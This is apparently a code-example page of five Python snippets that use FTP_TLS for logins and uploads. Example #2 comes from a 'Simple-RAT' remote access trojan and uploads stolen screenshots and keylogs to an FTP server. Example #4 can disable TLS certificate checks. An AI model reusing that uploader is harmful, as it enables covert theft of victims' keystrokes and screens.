コード例 #1
0
 def _open_ftp(self):
     # type: () -> FTP
     """Open a new ftp object."""
     _ftp = FTP_TLS() if self.tls else FTP()
     _ftp.set_debuglevel(0)
     with ftp_errors(self):
         _ftp.connect(self.host, self.port, self.timeout)
         _ftp.login(self.user, self.passwd, self.acct)
         try:
             _ftp.prot_p()  # type: ignore
         except AttributeError:
             pass
         self._features = {}
         try:
             feat_response = _decode(_ftp.sendcmd("FEAT"), "latin-1")
         except error_perm:  # pragma: no cover
             self.encoding = "latin-1"
         else:
             self._features = self._parse_features(feat_response)
             self.encoding = "utf-8" if "UTF8" in self._features else "latin-1"
             if not PY2:
                 _ftp.file = _ftp.sock.makefile(  # type: ignore
                     "r", encoding=self.encoding)
     _ftp.encoding = self.encoding
     self._welcome = _ftp.welcome
     return _ftp
コード例 #2
0
ファイル: ftp_uploader.py プロジェクト: swagkarna/Simple-RAT
    def upload(self,path,type,name=None):
        try:
            fname = name if name else path.split('\\')[-1]
            ftps = FTP_TLS(self.host)
            ftps.login(self.user,self.password)
            ftps.prot_p()
            # force encoding to utf-8, this will let us to work with unicode file names
            ftps.encoding = "utf-8"
            ftps.cwd(self.user_dir)
            ftps.cwd(type)
            if type != 'files':
                # if type of requested file is screenshot or keylog
                # upload it to special folder on ftp
                today = date.today().strftime("%b-%d-%Y")
                if today not in ftps.nlst():
                    ftps.mkd(today)
                ftps.cwd(today)
                ftps.storbinary('STOR %s' % fname, open(path, 'rb'))
                return 'Upload Started!'
            if fname in ftps.nlst():
                return 'File Already on FTP'
            ftps.storbinary('STOR %s' %fname, open(path,'rb'))
            ftps.close()
            return 'Upload Started!'

        except Exception as e:
            if e.args[0] == 0:
                return 'Uploaded to FTP!'
            return 'Upload Failed!'
コード例 #3
0
def uploadToFtp(filename):
    host = "88.122.218.102"  # adresse du serveur FTP
    user = "******"  # votre identifiant
    password = "******"  # votre mot de passe
    port = 49153
    ftps = FTP_TLS()
    ftps.connect(host, port)
    ftps.login(user, password)
    ftps.encoding = "utf-8"
    ftps.cwd("Disque dur")
    ftps.cwd("static")

    with open('/static/'+filename, "rb") as file:
        ftps.storbinary(f"STOR {filename}", file)
    ftps.quit()
コード例 #4
0
    def upload_archive_file(self, local_filename, remote_filename, target_dir):

        yield("Uploading {} to FTP in directory: {}, filename: {}".format(local_filename, target_dir, remote_filename))

        local_filesize = os.stat(local_filename).st_size
        self.upload_total = os.stat(local_filename).st_size
        self.upload_current = 0

        if self.settings.ftps['no_certificate_check']:
            context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
            context.verify_mode = ssl.CERT_NONE
            context.check_hostname = False
        else:
            context = ssl.create_default_context()
        ftps = FTP_TLS(
            host=self.settings.ftps['address'],
            user=self.settings.ftps['user'],
            passwd=self.settings.ftps['passwd'],
            context=context,
            source_address=self.settings.ftps[
                'source_address'],
            timeout=self.settings.timeout_timer
        )
        ftps.cwd(target_dir)
        ftps.encoding = 'utf8'
        ftps.prot_p()
        for line in ftps.mlsd(facts=["size"]):
            if(line[0] == remote_filename
                    and local_filesize == int(line[1]["size"])):
                yield("File exists and size is equal.")
                ftps.close()
                return
        with open(local_filename, "rb") as file:
            for retry_count in range(3):
                try:
                    ftps.storbinary(
                        'STOR %s' % remote_filename,
                        file,
                        callback=lambda data, args=self.print_method: self.print_progress(data, args)
                    )
                except (ConnectionResetError, socket.timeout, TimeoutError):
                    yield("Upload failed, retrying...")
                else:
                    break
        yield("\nFile uploaded.")
        ftps.close()
コード例 #5
0
ファイル: ftp.py プロジェクト: insoIite/qbit-watcher
    def get_client(self):
        """
        Returns a ftp connection
        """
        if self.conf['tls']:
            ftp = FTP_TLS()
        else:
            ftp = FTP()

        ftp.connect(host=self.conf['domain'], port=self.conf['port'])
        ftp.login(self.conf['user'], self.conf['password'])

        if self.conf['tls']:
            ftp.prot_p()

        ftp.cwd(self.conf['remote_path'])
        LOGGER.info("Successfully connected to '%s' FTP server" %
                    (self.conf['domain']))
        ftp.encoding = 'utf-8'
        return ftp